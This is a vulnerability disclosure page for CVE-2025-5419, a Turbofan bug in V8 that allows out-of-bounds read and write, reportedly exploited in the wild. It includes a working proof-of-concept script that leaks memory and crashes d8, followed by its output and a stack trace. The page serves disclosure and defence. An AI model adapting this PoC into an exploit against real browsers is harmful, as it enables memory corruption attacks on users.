Out of bounds read and write in V8 (CVE-2025-5419)
A bug in the Turbofan optimising compiler of V8 allowed an out-of-bounds read and write within the V8 sandbox. An attacker could leak memory and cause a crash, and the bug is being exploited in the wild.
Originally disclosed on Chrome VRP
- Fix shipped in 8 days
Vulnerability details
NOTE: Google Threat Analysis Group has evidence that the following bug is being used in the wild. Therefore, this bug is subject to Google's 7 day disclosure deadline.
An arbitrary read/write within the V8 sandbox is possible via a bug in Turbofan.
Version
V8 at commit 610337a26087a854db49f7ab2346d64881ef6150 (May 23 2025)
Reproduction case
The following poc.js will leak data out of bounds and trigger a crash:
let ab = new ArrayBuffer(256);
let dv = new DataView(ab);
function ftoi(t) {
dv.setFloat64(0, t, true);
return dv.getUint32(0, true) + dv.getUint32(4, true) * 0x100000000;
}
console.log('Leak memory');
function foo(i) {
let a = [1.1, 1.1, 1.1];
a[0] = a[i];
return a[0];
}
let x;
while (true) {
x = foo('0');
if (x != 1.1) break;
}
console.log("x =", x, "=", "0x"+ftoi(x).toString(16));
console.log('Trigger crash');
function bar(i) {
let a = [1.1, {}, 1.1];
a[0] = a[i];
}
while (true) {
bar('0');
}
Run with:
$ ./out/x64.release/d8 --verify-heap poc.js
Leak memory
x = -8.864952837205469e-7 = 0xbeadbeefbeadc000
Trigger crash
Received signal 11 SEGV_ACCERR 0f72beac0000
==== C stack trace ===============================
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v84base5debug10StackTraceC1Ev+0x13) [0x565528bcb0f3]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x2aae042) [0x565528bcb042]
/lib/x86_64-linux-gnu/libc.so.6(+0x3fdf0) [0x7f8ced20bdf0]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal12ReadOnlyHeap8ContainsENS0_6TaggedINS0_10HeapObjectEEE+0xe) [0x56552788fe4e]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal10FixedArray16FixedArrayVerifyEPNS0_7IsolateE+0x64) [0x5655276d43b4]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal6Object12ObjectVerifyENS0_6TaggedIS1_EEPNS0_7IsolateE+0x46) [0x5655276d25b6]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal16HeapVerification12VerifyObjectENS0_6TaggedINS0_10HeapObjectEEE+0x61) [0x5655277da5e1]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZNK2v88internal17SemiSpaceNewSpace13VerifyObjectsEPNS0_7IsolateEPNS0_24SpaceVerificationVisitorE+0xbf) [0x56552787be2f]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZNK2v88internal17SemiSpaceNewSpace6VerifyEPNS0_7IsolateEPNS0_24SpaceVerificationVisitorE+0xf) [0x56552787bd0f]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal16HeapVerification6VerifyEv+0x1f0) [0x5655277da080]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal12HeapVerifier10VerifyHeapEPNS0_4HeapE+0x13e) [0x5655277e134e]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal4Heap24PerformGarbageCollectionENS0_16GarbageCollectorENS0_23GarbageCollectionReasonEPKc+0x332) [0x5655277f98f2]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x16f4677) [0x565527811677]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x16f41cf) [0x5655278111cf]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x1ffe92b) [0x56552811b92b]
[end of stack trace]
Segmentation fault (core dumped)
Credit information
Reporter credit: Clement Lecigne and Benoît Sevens of Google Threat Analysis Group
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could read and write memory within the V8 sandbox, potentially leading to code execution, and the bug is being exploited in the wild.
What the attacker needed
Ability to run JavaScript in V8
How it was found
- Create an ArrayBuffer and a DataView to convert between floats and integers.
- Define a function that assigns an array element to itself using a string index, then returns that element.
- Call the function in a loop until the returned value is not the expected float, leaking memory.
- Define another function that assigns an array element to itself with a mixed-type array.
- Call that function in a loop to trigger a crash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
V8 is the JavaScript engine used in Chrome. Turbofan is the part that makes JavaScript run faster by optimising code. A mistake in Turbofan let a malicious JavaScript program read and write memory outside the area it should be allowed to, which can crash the browser and potentially let an attacker take control.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.